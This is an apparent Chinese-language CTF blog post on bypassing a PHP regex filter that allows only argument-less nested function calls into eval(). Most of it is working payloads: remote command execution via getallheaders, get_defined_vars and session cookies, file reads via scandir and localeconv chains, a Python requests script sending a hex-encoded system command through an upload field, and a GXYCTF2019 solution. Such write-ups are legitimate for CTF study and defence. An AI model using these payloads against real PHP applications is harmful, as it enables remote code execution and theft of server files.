膜膜膜膜膜膜(这东西真的是奇淫技巧)
利用条件:eval($_GET['exp']);
限制条件:preg_replace('/[^\W]+\((?R)?\)/', '', $exp)
目录下文件:
测试代码
//index.php
<?php
if(';' === preg_replace('/[^\W]+\((?R)?\)/', '', $_GET['code'])) {
eval($_GET['code']);
}
?>
(?R)
引用当前表达式,后面加了?
递归调用
以上正则表达式只匹配a(b(c()))
或a()
这种格式,不匹配a("123")
,也就是说我们传入的值函数不能带有参数
Payload1-getenv()
var_dump(getenv(phpinfo()));
可以获取敏感信息
- getenv():获取一个环境变量的值,
phpinfo()
可以获取所有环境变量
Payload2-getallheaders()
eval(end(getallheaders()));
RCE
- end():将数组的内部指针指向最后一个单元
- getallheaders():获取全部 HTTP 请求头信息
Payload3-get_defined_vars()
eval(end(current(get_defined_vars())));&flag=system('ls');
利用全局变量进RCE
- get_defined_vars():返回由所有已定义变量所组成的数组,会返回
$_GET,$_POST,$_COOKIE,$_FILES
全局变量的值 - current():返回数组中的当前单元,初始指向插入到数组中的第一个单元,也就是会返回
$_GET
变量的数组值 - get_defined_vars():返回由所有已定义变量所组成的数组,此函数返回一个包含所有已定义变量列表的多维数组,这些变量包括环境变量、服务器变量和用户定义的变量。返回数组顺序为
get->post->cookie->files
而如果网站对$_GET,$_POST,$_COOKIE
都做的过滤, 那我们只能从$_FILES
入手了,exp如下:
import requests
def str2hex(payload):
txt = ''
for i in payload:
txt += hex(ord(i))[-2:]
return txt
payload = str2hex("system('cat flag.php');")
files = {
payload: b'extrader'
}
r = requests.post("http://192.168.0.107/index.php?exp=eval(hex2bin(array_rand(end(get_defined_vars()))));", files=files, allow_redirects=False) # allow_redirects=False 禁用重定向处理
print(r.content.decode())
- array_rand():从数组中随机取出一个或多个单元,如果只取出一个,
array_rand()
返回随机单元的键名。 否则就返回包含随机键名的数组。 - end():将数组的内部指针指向最后一个单元
- hex2bin():转换十六进制字符串为二进制字符串
结果将输出flag.php
文件的全部内容,由于空格和点都会被替换成下换线,所以需要用十六进制进行绕过
Payload4-session_start()
文件读取:
show_source(session_id(session_start()));
var_dump(file_get_contents(session_id(session_start())))
highlight_file(session_id(session_start()));
readfile(session_id(session_start()));
抓包传入Cookie: PHPSESSID=(想读的文件)即可
RCE:
eval(hex2bin(session_id(session_start())));
抓包传入Cookie: PHPSESSID=("system('命令')"的十六进制)
以上的payload好像只适用于php7
以下的版本,php7以上的不会显示
- session_start():启动新会话或者重用现有会话,成功开始会话返回
TRUE
,反之返回FALSE
- session_id():获取/设置当前会话 ID,返回当前会话ID。 如果当前没有会话,则返回空字符串(””)。
Payload5-scandir()
文件读取:
当前目录:highlight_file(array_rand(array_flip(scandir(getcwd()))));
上级目录文件:highlight_file(array_rand(array_flip(scandir(dirname(chdir(dirname(getcwd())))))));
- getcwd():取得当前工作目录,成功则返回当前工作目录,失败返回
FALSE
。 - dirname():返回路径中的目录部分,返回 path 的父目录。 如果在
path
中没有斜线,则返回一个点(’.‘),表示当前目录。否则返回的是把path
中结尾的/component
(最后一个斜线以及后面部分)去掉之后的字符串(也就是上级目录的文件路径)。 - chdir():改变目录,成功时返回
TRUE
, 或者在失败时返回FALSE
。 - scandir():列出指定路径中的文件和目录。成功则返回包含有文件名的数组,如果失败则返回
FALSE
。如果directory
不是个目录,则返回布尔值FALSE
并生成一条E_WARNING
级的错误。 - array_flip():交换数组中的键和值,成功时返回交换后的数组,如果失败返回
NULL
。 - array_rand():从数组中随机取出一个或多个单元,如果只取出一个(默认为1),array_rand() 返回随机单元的键名。 否则就返回包含随机键名的数组。 完成后,就可以根据随机的键获取数组的随机值。
array_flip()和array_rand()配合使用可随机返回当前目录下的文件名
dirname(chdir(dirname()))配合切换文件路径
.
绕过
current(localeconv())
- localeconv():返回一包含本地数字及货币格式信息的数组。而数组第一项就是
.
phpversion()
phpversion()
返回php版本,如7.3.5
floor(phpversion())
返回7
sqrt(floor(phpversion()))
返回2.6457513110646
tan(floor(sqrt(floor(phpversion()))))
返回-2.1850398632615
cosh(tan(floor(sqrt(floor(phpversion())))))
返回4.5017381103491
sinh(cosh(tan(floor(sqrt(floor(phpversion()))))))
返回45.081318677156
ceil(sinh(cosh(tan(floor(sqrt(floor(phpversion())))))))
返回46
chr(ceil(sinh(cosh(tan(floor(sqrt(floor(phpversion()))))))))
返回.
var_dump(scandir(chr(ceil(sinh(cosh(tan(floor(sqrt(floor(phpversion()))))))))))
扫描当前目录next(scandir(chr(ceil(sinh(cosh(tan(floor(sqrt(floor(phpversion()))))))))))
返回..
floor():舍去法取整,sqrt():平方根,tan():正切值,cosh():双曲余弦,sinh():双曲正弦,ceil():进一法取整
crypt()
chr(ord(hebrevc(crypt(phpversion()))))
返回.
hebrevc(crypt(arg))
可以随机生成一个hash值 第一个字符随机是 $(大概率) 或者 .(小概率) 然后通过ord chr只取第一个字符
crypt():单向字符串散列,返回散列后的字符串或一个少于 13 字符的字符串,从而保证在失败时与盐值区分开来。
hebrevc():将逻辑顺序希伯来文(logical-Hebrew)转换为视觉顺序希伯来文(visual-Hebrew),并且转换换行符,返回视觉顺序字符串。
其它
current()的别名pos()
readgzfile可以代替readfile
目录操作:
- getchwd() :函数返回当前工作目录。
- scandir() :函数返回指定目录中的文件和目录的数组。
- dirname() :函数返回路径中的目录部分。
- chdir() :函数改变当前的目录。
数组相关的操作:
- end() : 将内部指针指向数组中的最后一个元素,并输出
- next() :将内部指针指向数组中的下一个元素,并输出
- prev() :将内部指针指向数组中的上一个元素,并输出
- reset() : 将内部指针指向数组中的第一个元素,并输出
- each() : 返回当前元素的键名和键值,并将内部指针向前移动
栗子
GXYCTF2019—禁止套娃
扫描目录.git
源码泄露,Githack
得到index
源码
<?php
include "flag.php";
echo "flag在哪里呢?<br>";
if(isset($_GET['exp'])){
if (!preg_match('/data:\/\/|filter:\/\/|php:\/\/|phar:\/\//i', $_GET['exp'])) {
if(';' === preg_replace('/[a-z,_]+\((?R)?\)/', NULL, $_GET['exp'])) {
if (!preg_match('/et|na|info|dec|bin|hex|oct|pi|log/i', $_GET['exp'])) {
// echo $_GET['exp'];
@eval($_GET['exp']);
}
else{
die("还差一点哦!");
}
}
else{
die("再好好想想!");
}
}
else{
die("还想读flag,臭弟弟!");
}
}
// highlight_file(__FILE__);
?>
payload1:
highlight_file(next(array_reverse(scandir(current(localeconv())))));
payload2:
show_source(session_id(session_start()));
Cookie: PHPSESSID=flag.php
若没有本文 Issue,您可以使用 Comment 模版新建。
GitHub Issues